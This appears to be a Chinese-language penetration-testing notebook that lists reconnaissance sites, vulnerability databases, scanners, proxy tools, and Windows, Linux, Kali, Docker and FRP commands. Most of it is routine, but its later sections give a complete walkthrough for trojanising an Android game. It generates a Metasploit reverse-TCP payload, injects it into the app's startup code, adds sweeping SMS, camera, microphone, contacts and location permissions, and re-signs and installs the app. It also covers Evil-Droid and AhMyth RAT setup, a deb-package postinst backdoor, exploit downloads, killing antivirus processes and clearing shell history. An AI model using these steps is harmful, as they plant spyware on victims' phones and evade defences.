https://www.google.com
如: 在Google中输入 site:qq.com
第三方网站查询
http://tool.chinaz.com/subdomain
https://dnsdumpster.com/
证书透明度公开日志枚举
https://crt.sh/
其他途径
https://phpinfo.me/domain
备案信息查询
Web接口查询:
http://icp.chinaz.com
https://icp.aizhan.com/
https://beian.miit.gov.cn/
天眼查
https://www.tianyancha.com/
在这里可以进一步查看企业的一些信息。
主动信息收集
卡巴斯基全球网络攻防实时地图 链接:
https://cybermap.kaspersky.com/cn
ARL
(Asset Reconnaissance Lighthouse)资产侦察灯塔系统
全面资产侦察的利器
https://www.arl.org/
https://github.com/adysec/ARL
https://github.com/C3ting/ARL
https://github.com/cadeeper/ARL
Goby
位目标建立完整的资产数据库,实现快速的安全应急。
https://gobysec.net/
漏洞库
常见最新漏洞公布网站
美国著名安全公司 Offensive Security 的漏洞库 http://www.exploit-db.com [比较及时]
赛门铁克的漏洞库 http://www.securityfocus.com (国际权威漏洞库)
国家信息安全漏洞共享平台 http://www.cnvd.org.cn/
国内安全厂商——绿盟科技 http://www.nsfocus.net
俄罗斯知名安全实验室 https://www.securitylab.ru/vulnerability/
CVE 常见漏洞和披露 http://cve.mitre.org
安全客 https://www.anquanke.com/
美国国家信息安全漏洞库 https://nvd.nist.gov/
知道创宇漏洞库 https://www.seebug.org/
阿里云漏洞库
https://avd.aliyun.com/nvd/list
国家信息安全漏洞库
https://www.cnnvd.org.cn/home/loophole
exploit database
https://www.exploit-db.com/
cve
https://cve.mitre.org/
CVEDetails
https://www.cvedetails.com/
NIST
https://nvd.nist.gov/
在线病毒扫描
检测木马免杀效果
https://www.virscan.org/
https://www.virustotal.com/gui/home/upload
网站漏洞扫描工具
web安全工具合集
1.AWVS
2.xray
3.NetSparker
4.AppScan
5.BurpSuite
6.Sqlmap
常用的浏览器插件
1.Firebug
2.Tamper data
3.Hackbar
4.LiveHttpHeader
AWVS
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的自动化网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。
https://www.acunetix.com/
要钱,暂时未尝试了。
xray
一个免费的安全社区工具平台
xray 社区是长亭科技推出的免费白帽子工具平台,目前社区有xray、xpoc、xapp、rad 工具,均有多名经验丰富的安全开发人员和数万名社区贡献者共同打造而成
https://xray.cool/
Invicti/NetSparker
Netsparker is now Invicti, signaling a new era for modern AppSec。
NetSparker是一款综合型的Web应用安全漏洞扫描工具,分为专业版和免费版。与其他同类工具相比,NetSparker在检测SQL注入和跨站脚本攻击等安全漏洞方面表现优秀。
https://www.invicti.com/
AppScan
AppScan是一款网络安全测试工具,属于HCL(前IBM)品牌旗下,主要用于检测Web应用程序、API和移动应用程序的安全漏洞。AppScan具有静态、动态、交互式和开源扫描引擎,可以部署在开发生命周期的各个阶段。它使用人工智能和机器学习来实施安全最佳实践和合规性,帮助软件开发人员检测和修复漏洞。AppScan套件包括多种工具,如AppScan Standard(动态应用程序安全测试工具)、AppScan Source(渗透性内部静态应用程序安全测试工具)和AppScan Enterprise(可伸缩的应用程序安全测试工具),还包括AppScan on Cloud(ASoC),这是一套全面的应用程序安全测试软件,可作为服务提供。
https://www.hcl-software.com/appscan/home
OpenVAS
OpenVas(Open VulnerabilityAssessment System)是一款开源的漏洞评估系统,是Nessus项目分支,它是一款应用级别的漏洞扫描器,用于检测并管理目标网络或主机漏洞,它的评估是基于其积累的数万个漏洞测试脚本,OpenVas最早有是一个客户端程序,目前官方已经不提供了。现基于B/S(浏览器/服务器)架构进行工作,执行扫描任务并提供扫描结果。
官网地址:https://www.openvas.org/
Sqlmap
开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能够查看数据,文件系统访问,甚至能够操作系统命令执行。
检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
官网地址:http://sqlmap.org/
Nmap
Nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台
官网地址:https://nmap.org/
Acunetix
Acunetix是一款网络漏洞扫描软件,它可以检测网络的安全漏洞。
http://wvs.evsino.com/
Nessus
Nessus 是全世界最多人使用的系统漏洞扫描与分析软件。
1998年, Nessus 的创办人 Renaud Deraison 展开了一项名为 “Nessus”的计划,其计划目的是希望能为因特网社群提供一个免费、威力强大、更新频繁并简易使用的远端系统安全扫描程序。经过了数年的发展, 包括 CERT 与 SANS 等著名的网络安全相关机构皆认同此工具软件的功能与可用性。
2002年时, Renaud 与 Ron Gula, Jack Huffard 创办了一个名为 Tenable Network Security 的机构。在第三版的Nessus 发布之时, 该机构收回了 Nessus 的版权与程序源代码 (原本为开放源代码), 并注册成为该机构的网站。 此机构位于美国马里兰州的哥伦比亚。
Qualys
Qualys,Inc.是一家世界领先的提供漏洞管理与合规性解决方案SaaS服务的提供商。
其产品QualysGuard是全球覆盖范围最广的按需定制安全解决方案,在全球85个国家运用超过9,500台扫描器设备;每年进行超过5亿个扫描与映射,1.5亿多次IP审计,且其数据正在不断增加中。
https://www.qualys.com/
HTTP代理工具
whistle web调试代理工具
Github: https://github.com/avwo/whistle
whistle(读音[ˈwɪsəl],拼音[wēisǒu])基于Node实现的跨平台web调试代理工具,类似的工具有Windows平台上的Fiddler,主要用于查看、修改HTTP、HTTPS、Websocket的请求、响应,也可以作为HTTP代理服务器使用,不同于Fiddler通过断点修改请求响应的方式,whistle采用的是类似配置系统hosts的方式,一切操作都可以通过配置实现,支持域名、路径、正则表达式、通配符、通配路径等多种匹配方式,且可以通过Node模块扩展功能
Reqable HTTP开发和调试工具
Reqable = Fiddler + Charles + Postman, 让API调试更快更简单。
Reqable是一款跨平台的专业HTTP开发和调试工具,在全平台支持HTTP1、HTTP2和HTTP3(QUIC)协议,简单易用、功能强大、性能高效,助力程序开发和测试人员提高生产力!本产品需要一定的网络基础知识,适合开发、测试、网络、安全、爬虫等工程专业人员使用,或者在专业人员的指导下使用。
https://reqable.com/zh-CN/
Fiddler http协议调试代理工具
Fiddler是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。
https://www.telerik.com/fiddler
Charles http代理
Charles is an HTTP proxy / HTTP monitor / Reverse Proxy that enables a developer to view all of the HTTP and SSL / HTTPS traffic between their machine and the Internet. This includes requests, responses and the HTTP headers (which contain the cookies and caching information).
https://www.charlesproxy.com/
Burp Suite
Burp Suite是PortSwigger为您提供的一系列领先的网络安全工具,有HTTP代理拦截、攻击、重放、编码等等。
BurpSuite是用于攻击Web应用程序的集合平台,包含了许多工具。BurpSuite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。
官网地址:https://portswigger.net
Behinder 冰蝎
“冰蝎”动态二进制加密网站管理客户端
客户端:jre8+
服务端:.net 2.0+;php 5.3-7.4;java 6+
https://github.com/rebeyond/Behinder/releases
CTF工具
隐写工具大全
在线工具: http://www.jjtc.com/Steganography/tools.html
隐写和数字水印工具表: http://www.jjtc.com/Steganography/toolmatrix.htm
HTML隐写:http://fog.misty.com/perry/ccs/snow/snow/snow.html
一些Win命令
WMIC
WMIC(Windows Management Instrumentation Command-line)是Windows操作系统中的一个命令行实用程序,用于执行各种系统管理任务和查询系统信息。它为Windows Management InstrumentationWMI)提供了一个强大的命令行接口,使得用户可以通过命令行来管理和监控系统的各种组件和资源。
#查看系统共享
wmic share get name,path,status
#服务列表
wmic service list brief | more
#识别开机启动的程序,包括路径
wmic startup list full
#查看系统中开启的日志
wmic nteventlog get path,filename,writeable
#查看系统中网卡的IP地址和MAC地址
wmic nicconfig get ipaddress,macaddress
#使用wmic识别安装到系统中的补丁情况
wmic qfe get description,installedOn
#查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic product get name,version
#更改当前用户名
wmic useraccount where "name='%UserName%'" call rename newUserName
#查看当前系统是否是VMware,可以按照实际情况进行筛选
wmic bios list full | findstr /i "vmware"
#查看当前系统是否有屏保保护,延迟是多少
wmic desktop get screensaversecure,screensavertimeout
#获取指定进程可执行文件的路径
wmic process where name="vmtoolsd.exe" get executablepath
#获取temp环境变量
wmic environment where "name='temp'" get UserName,VariableValue
#查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
#查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
#查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
#查看某个进程的详细信息 (路径,命令行参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId
wmic process where caption="frp.exe" get caption,commandline /value
#查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=38104 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
#终止一个进程
wmic process where name ="xshell.exe" call terminate
taskkill -im pid
#获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
#根据进程好看进程程序的路径
wmic process where processid=44424 get processid,executablepath,name
一些Linux命令
rpm包安装
which vim #命令在那个目录下
rpm -qf /usr/bin/vim #怎么安装的
rpm -qf /usr/bin/vi #怎么安装的
rpm -qf `which vi` #怎么安装的,反引号输出作为前命令的参数
deb安装后门
#只下载不安装
apt --download-only install freesweep
cd /var/cache/apt/archives
ls -ltr
dpkg -x free
#生成deb包后安装处理执行后门
tee /root/free/DEBIAN/postinst << EOF
#/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_source &
EOF
iconv转码
iconv -f gb2312 -t utf8 input.txt -o out.txt
rz、sz上下传文件
#在xshell或crt中上传下载
#CentOS8 自动提示安装,例如rrzsz
rz #上传
sz filename #下载
CentOS6 下 ext4 恢复
#CentOS6 下 ext4 可恢复,其他目前没有开源的工具恢复
ext4文件系统删除文件,可以用 extundelete ext3恢复使用ext3grep
windows恢复删除文件: final data v2.0汉化版或easyrecovery
xfs文件系统上删除文件,暂时没有好的方法,需要找专业的公司
#查看文件的属性
ls -i a.txt
stat a.txt
#创建分区
mkdir -k /tmp/sda4 #chuang
mkfs.ext4 /dev/sda4 #格式化
mount /dev/sda4 /tmp/sda4 #挂载
fdisk /dev/sda
#分区后如下可以看到
reboot #或
partx -a /dev/sda
#上传 extundelete-0.2.4.tar.bz2
tar jxvf extundelete-0.2.4.tar.bz2
cd extundelete-0.2.4
yum install e2fsprogs-devel
./configure
make -j 4 #4线程编译,节省时间
make install
#install 可以复制时加权限设置
cp a /tmp/b
install -m 777 a /tmp/b
extundelete /dev/sda4 --inode 2
ls -id /boot
extundelete /dev/sda4 --resotre-inode 4
extundelete /dev/sda4 --resotre-file passwd
extundelete /dev/sda4 --resotre-directory a
extundelete /dev/sda4 --resotre-all
ip、ipconfig、hostname
#临时设置ip
ifconfig ens33 192.168.1.110 netmask 255.255.255.0
#添加多个IP
ifconfig ens33:0 192.168.1.111 netmask 255.255.255.0
ifconfig ens33:1 192.168.1.112 netmask 255.255.255.0
ifconfig ens33:1 192.168.2.123 netmask 255.255.255.0
#查看IP地址
ifconfig -a
ip addr show |more
#删除临时ip
ip addr delete 192.168.1.110 dev ens33:0
#修改主机名
hostnamectl set-hostname xxxx.cn #永久修改主机名
hostname aa.cn #临时修改主机名
history命令历史
#清楚当前会话历史
history -c
vi /root/.bash_history #全清,修改文件
#4个找历史命令的技巧
1、上下光标
2、ctrl+r -》 输入某条命令的关键自 -》找出对应的命令,按右光标键
3、!数字 //执行历史命令的第N条命令
4、!字符串 //搜索历史命令中最近一个以xxx开头的命令
5、!//表示上一个命令的最后一个参数
cat aa.txt
vi ! # = vi aa.txt
iptable、firewalld、Selinux防火墙
#防火墙
iptable -L -n
systemctl stop firewalld
systemctl disable firewalld
systemctl is-enabled firewalld
systemctl status firewalld.servies
#临时和永久关闭 Selinux
getenforce
setenforce 0
getenforce
setenforce 1
find suid文件
#查找可提权的命令
find / -perm -u=s -type f 2>/dev/null
python启动http server
python -m httpd.server 8081
rz 41154.sh
wget -O- https://github.com/chacka0101/exploits/raw/refs/heads/master/41154.sh | sed 's/\r//' > 41154.sh
#dos2unix
wget -O- 'http://example.com/file.txt' | sed 's/\r//' > unix_file.txt
cd /tmp
wget http://192/168.0.53:8081/41154.sh
日期格式输出
#日期格式输出
date "+%F" #等同Y-%m-%d"
2024-11-28
date "+%Y%m%d"
20241128
其他杂项
#图像界面,安装有xmanager时可在xshell中使用
gnome-terminal
firefox &
#理出已经启动的units
systemctl list-units
systemctl list-units --type service
#看命令类型:内部、外部、别名。。。
type cut
type alias
type ll
#按文件大小排序,大小好看
ls -lSh /tmp/
#只看目录
ls -d /root/
openssl 生成密码哈希值
openssl passwd -1 -salt root 123456
其他安装与设置
Kali安装
配置中文
dpkg-reconfigure locales
Localtes to be generated:
[*] zh_CN.UTF-8 UTF-8
defalut local for the system environment:
zh_CN.UTF-8
#如果不行,加入最后
echo export LANG=zh_CN.UTF-8 >> /root/.profile
kali固定IP方法
设置固定IP和网关
vi /etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.1.52
netmask 255.255.255.0
gateway 192.168.1.1
设置DNS服务器
#设置dns
vi /etc/resolv.conf
# Generated by NetworkManager
nameserver 192.168.1.1
nameserver 114.114.114.114
nameserver 8.8.8.8
禁用IPv6
echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p
重启网络
#以停止并禁用网络管理器服务
systemctl stop NetworkManager
systemctl disable NetworkManager
#重启网络
systemctl restart networking
kali设置国内镜像源
vim /etc/apt/sources.list
#注释第2行的配置,并在最后一行后面插入中科大Kali源:
deb https://mirrors.ustc.edu.cn/kali kali-last-snapshot main non-free non-free-firmware contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-last-snapshot main non-free non-free-firmware contrib
允许root 密码登录
#设置root密码
sudo su -
passwd root
vi /etc/ssh/sshd_config
33行更改为
#PermitRootLogin prohibit-password
PermitRootLogin yes
开启SSH服务
systemctl enable ssh
systemctl start ssh
配置骷髅头
vi /root/.zshrc
configure_prompt() {
prompt_symbol=㉿
# Skull emoji for root terminal
[ "$EUID" -eq 0 ] && prompt_symbol=💀
kali升级后模拟终端没有窗口大小和移动控制按钮处理方法
apt-get upgrade 后,出现问题,窗口没有图标,无法移动和缩放
sudo apt-get install metacity #安装
sudo metacity --replace #打开窗口管理器
- 如果要永久有效
cat >> /etc/systemd/system/metacity.service <<END [Unit] Description=Metacity Window Manager After=graphical.target [Service] ExecStart=/usr/bin/metacity --replace & Type=simple [Install] WantedBy=graphical.target END cat /etc/systemd/system/metacity.service
-
启用并设置开机自启metacity服务
sudo systemctl daemon-reload #重新加载systemd配置 sudo systemctl enable metacity.service #设置metacity服务开机自启 sudo systemctl start metacity.service #运行metacity服务 sudo systemctl status metacity.service #查看metacity的运行状态
以上好像不行,启动报错没有x终端
那就在.profile .zshrc等中设置别名win,方便运行
alias win='/usr/bin/metacity --replace & '
窗口需要时,先执行一下win好了。
CentOS固定IP方法
安装完成系统后,接下来就是配置静态IP地址,如下:
[root@honker63 etc]# cat /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
#动态IP
#BOOTPROTO="dhcp"
#静态IP
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33"
UUID="75bbca12-0c8c-4f9a-9834-257b6efe4f41"
DEVICE="ens33"
ONBOOT="yes"
#以下为ie静态IP需要配置,根据自己的网段和网关进行配置
IPADDR="192.168.1.63"
PREFIX="24"
GATEWAY="192.168.1.1"
DNS1="8.8.8.8"
IPV6_PRIVACY="no"
然后重启网络:service network restart
安装灯塔
安装docker
centos 7
yum install -y yum-utils device-mapper-persistent-data lvm2
rm -f /etc/yum.repos.d/Cent*
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.cloud.tencent.com/repo/centos7_base.repo
wget -O /etc/yum.repos.d/epel-7.repo http://mirrors.cloud.tencent.com/repo/epel-7.repo
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
#去掉防火墙
systemctl disable --now firewalld
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
yum install docker-ce -y
systemctl start docker && systemctl enable docker
docker version
加载和启动登灯塔
使用xshell连接centos将课程资料中的arl.tar.gz 和ARL.zip上传到例如/opt目录
导入ARL镜像
cd /opt
docker load -i arl.tar.gz
#这个要等好几分钟
unzip ARL.zip
cd ARL/docker/
docker volume create --name=arl_db
docker compose up -d
docker compose ps
#设置FOFA参数,,GIT,PROXY等
[root@xuegod63 docker]# vim /opt/ARL/docker/config-docker.yaml
#保存退出,重启容器
cd /opt/ARL/docker
docker compose restart
访问和配置灯塔
打开谷歌浏览器,访问:https://192.168.1.63:5003/
使用默认账号:admin,密码:arlpass登录
kali终端命令代理上网
vi /etc/proxchains4.conf
#proxy_dns 注释掉
#socks4
socks5 192.168.1.77 10809
proxychains4 curl https://www.google.com
proxychains4 firefox &
proxychains4 curl ip.fm
Unix代理上网
export http_proxy=http://192.168.1.77:10809/
export https_proxy=http://192.168.1.77:10809/
export http_proxy=http://192.168.1.99:7890/
export https_proxy=http://192.168.1.99:7890/
Linux关闭防火墙
#CentOS
systemctl disable --now firewalld
#Debian ubuntu
ufw disable
FRP内网穿透
frps.toml
bindPort = 7000
#vhostHTTPPort = 80 # virtual host http port
webServer.addr = "0.0.0.0" # dash board binding address
webServer.port = 7500
webServer.user = "admin" #dash board user name "admin" etc.
webServer.password = "admin123!."
auth.method = "token" # auth method
auth.token = "sdajflkjkladsfkldsafdsklfadgsklajdgskljdgskljdsgfkldfslk" #auth token
frpc.toml
serverAddr = “xx.xx.xx.xx"
serverPort = 7000
auth.method = "token" # auth method
auth.token = "sdajflkjkladsfkldsafdsklfadgsklajdgskljdgskljdsgfkldfslk" #auth token
[[proxies]]
name = "test-tcp"
type = "tcp"
localIp = "192.168.1.63"
localPort = 22
remotePort = 6000
#customDomain = ["abc.root.com"]
WINDOWS 批处理上代理
一般写一个批处理文件 setpro xy.bat
@echo off
set http_prox=http://192.168.1.77:10809/
set https_proxy=http://192.168.1.77:10809/
DOCKER 代理拉取
sudo mkdir -p /etc/systemd/system/docker.service.d
cat > /etc/systemd/system/docker.service.d/http-proxy.conf <<END
[Service]
Environment="HTTP_PROXY=http://192.168.1.77:10809/"
Environment="HTTPS_PROXY=http://192.168.1.77:10809/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
END
cat /etc/systemd/system/docker.service.d/http-proxy.conf
sudo systemctl daemon-reload
sudo systemctl restart docker
DOCKER 命令
#本地导入镜像
docker load -i xxxx.tar.gz
#查看镜像
docker images
#运行容器
docker run --rm -d -p 8080:80 phuip-fpizdam:v4
# --rm 容器停止会后自动删除
# -d 后台运行并返回容器id
# -p 8080:80 将容器80端口映射到宿主机8080端口
#查看启动的容器
docker ps
#进入容器shell
docker exec -it dockeridhere /bin/bash
# -i, --interactive 保持标准输入打开
# -t, --tty 分配一个伪终端
#直接执行容器中的shell命令
docker exec cve-<container_id_or_name> ls -l /tmp
#根据当前目录配置文件启动容器组
docker compose up -d
#看当前目录部署的启动情况
docker compose ps
#停止和删除容器组件
docker compose down
#停止容器
docker stop <container_id_or_name>
#移除容器
docker rm <container_id_or_name>
#强制停止容器并移除
docker rm -f <container_id_or_name>
Use PHP、MySQL、Nginx install Web Server
in CentOS 7
1\MySQL
yum install mysql
sudo systemctl start mariadb
sudo systemctl enable mariadb
2\PHP
sudo yum install php-fpm php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd
sudo systemctl start php-fpm
sudo systemctl enable php-fpm
3\Nginx
yum install nginx
service nginx start
systemctl restart nginx.service
systemctl enable nginx.service
http://xxx
vi /etc/nginx/nginx.conf
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
#。。。以上不动。。。。
#增加以下7行
index index.php
location ~ \.php{
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAMEdocument_root$fastcgi_script_name;
}
}
systemctl restart nginx.service
http://xxx
asciinema UNIX终端文本方式录屏
#install(apt Debian,Ubuntu)
sudo apt install asciinema
#install(CentOS/RHEL)
sudo yum install asciinema
#recored
# --append - Append to existing recording
asciinema rec demo.cast
#ctrl+D或exit停止录制
#压缩等待时间,最长为2.5秒
#-i, --idle-time-limit=<sec> - Limit recorded terminal inactivity to max <sec> seconds
asciinema rec -w 2.5 demo.json
asciinema rec -i 2.5 demo.json
#play
-i, --idle-time-limit=<sec> - Limit replayed terminal inactivity to max <sec> seconds
-s, --speed=<factor> - Playback speed (can be fractional)
-l, --loop - Play in a loop
-m, --pause-on-markers - Automatically pause on markers
asciinema play demo.cast
asciinema play --speed 2 my_session.cast
ADB
#看是否连上了手机,需要开启开发者模式
adb devices
#下载文件
adb pull aaa.kl /system/user/keylayout/
adb pull /sdcard/mp3/1.mp3
#上传文件
adb push qwerty.kl /system/user/keylayout/
adb push 1.mp3 /sdcard/mp3/
#安装程序, 文件为本地win下文件,不要上传
adb install -r com.androidvending.apk
evil-droid 注入
自动化Android注入
Evil-Droid is a framework that create & generate & embed apk payload to penetrate android platforms
# 禁用 IPv6
echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p
#解压Evil-Droid-master
git clone https://github.com/M4sc3r4n0/Evil-Droid.git
cd Evil-Droid
chmod +x evil-droid
#修改ping的网站
vim evil-droid
649 xterm -T "EVIL-DROID MULTI/HANDLER" -fa monaco -fs 10 -bg black -e "msfconsole -x 'use multi/handler; set LHOST lanip; set LPORTLPORT; set PAYLOAD $PAYLOAD; exploit'"
#ping google.com更改为www.baidu.com
#上面 -fa monaco 不要
#升级 tools/apktool.jar
#例如:Apktool 2.6.0 19964258 字节
#运行
cd Evil-Droid-master
./evil-droid
AhMyth 注入
图形化侦听生成一体化
- Server side : desktop application based on electron framework (control panel)
- Client side : android application (backdoor)
dpkg -i jdk-11.0.23_linux-x64_bin.deb
dpkg -i zipalign_1%3a8.1.0+r23-2_amd64.deb
dpkg -i AhMyth-Setup_amd64.deb
ahmyth --no-sandbox
#勾选 Bind With An Original Apk,点击 Browse Apk 选中要注入的 APK 文件
#install from source
git clone https://github.com/AhMyth/AhMyth-Android-RAT.git
cd AhMyth-Android-RAT/AhMyth-Server
npm start
apktool zipalign keytool jarsigner adb Android 手工渗透
手工反编译Apk包和增加意程序全过程
# 安装 jdk11
dpkg -i jdk-11.0.23_linux-x64_bin.deb
# 安装 zipalign 工具(可以将 apk 文件进行对齐操作,提升性能)
dpkg -i zipalign_1%3a8.1.0+r23-2_amd64.deb
#生成 msf payload
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.1.53 lport=4444 > msf.apk
#反编译
java -jar apktool.jar d -o ddz com.twice.ddz.apk
va -jar apktool.jar d -o msf msf.apk
#查看先找到斗地主软件的入口
#一般情况搜索 MAIN 或 LAUNCHER 就可以找到对应的位置,然后确认 android:name="com.twice.ddz.SmDDZ"类名称,对应的入口就在 SmDDZ 中
vim ddz/AndroidManifest.xml
#修改,添加
cp -r msf/smali/com/metasploit ddz/smali/com/
vim ddz/smali/com/twice/ddz/SmDDZ.smali
#搜索关键词 onCreate 找到关键函数,该函数创建页面时会被调用(打开 app 就会调用)。
#前面添加一行
invoke-static {p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
#增加权限
vim ddz/AndroidManifest.xml
#《略》详细见下文。。。。
#重新打包
java -jar apktool.jar b ddz
#对齐,提升性能
zipalign -v 4 ddz/dist/com.twice.ddz.apk ddz.zipalign.apk
#查看原来签名
jarsigner -verify -verbose -certs com.twice.ddz.apk
#自建密钥
keytool -genkey -v -keystore mykey.Keystore -alias alias_name -keyalg RSA -keysize 4096 -validity 10000
#安装签名工具
apt update ; apt install apksigner -y
#对apk签名
apksigner sign --ks mykey.Keystore --out ddz.zipalign.sign.apk ddz.zipalign.apk
#安装到手机
adb install -r ddz.zipalign.sign.apk
增加移动应用全权限
vim ddz/AndroidManifest.xml
增加进去到适合的位置,有重复不影响。
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-feature android:name="android.hardware.microphone"/>